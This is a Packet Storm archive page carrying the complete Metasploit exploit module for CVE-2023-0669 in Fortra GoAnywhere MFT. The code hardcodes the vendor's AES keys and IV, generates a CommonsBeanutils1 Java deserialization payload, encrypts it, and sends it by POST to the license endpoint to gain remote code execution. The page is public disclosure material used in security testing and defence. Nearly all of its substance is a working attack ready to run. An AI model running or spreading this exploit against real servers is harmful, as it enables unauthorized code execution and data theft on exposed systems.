exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Fortra GoAnywhere MFT Unsafe Deserialization Remote Code Execution

Fortra GoAnywhere MFT Unsafe Deserialization Remote Code Execution
Posted Feb 9, 2023
Authored by Ron Bowes | Site metasploit.com

This Metasploit module exploits an object deserialization vulnerability in Fortra GoAnywhere MFT.

tags | exploit
advisories | CVE-2023-0669
SHA-256 | 051497e68329329350b8fed17a087b6d124609bf8c23ea52d28ac047e63c6038

Fortra GoAnywhere MFT Unsafe Deserialization Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::JavaDeserialization

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE',
'Description' => %q{
This module exploits CVE-2023-0669, which is an object deserialization
vulnerability in Fortra GoAnywhere MFT.
},
'Author' => [
'Ron Bowes', # Analysis and module
],
'References' => [
['CVE', '2023-0669'],
['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
],
'DisclosureDate' => '2023-02-01',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'win'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Version 2 Encryption',
{
'DefaultOptions' => {
'Version' => '$2',
'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca',
'EncryptionIv' => '4145532f4342432f504b435335506164'
}
},
],
[
'Version 1 Encryption',
{
'DefaultOptions' => {
'Version' => '',
'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b',
'EncryptionIv' => '4145532f4342432f504b435335506164'
}
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8001,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']),
])

register_advanced_options([
OptString.new('Version', [false, 'A version value to append to the encrypted data']),
OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC'])
])
end

def build_cipher
unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) }
raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' })
end

cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm'])
cipher.encrypt

option_errors = {}
iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join
unless cipher.iv_len == iv.length
option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})."
end

key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join
unless cipher.key_len == key.length
option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})."
end
raise Msf::OptionValidateError, option_errors unless option_errors.empty?

cipher.iv = iv
cipher.key = key
cipher
end

def exploit
vprint_status('Generating a serialized Java object with the payload')
obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)

vprint_status('Encrypting the payload')
cipher = build_cipher
obj = cipher.update(obj) + cipher.final

vprint_status('Sending request to the server')
res = send_request_cgi(
'method' => 'POST',
'uri' => datastore['TARGETURI'],
'vars_post' => {
'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}"
}
)

fail_with(Failure::Unreachable, 'No response received from the target.') unless res
if res.code != 500
fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}")
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close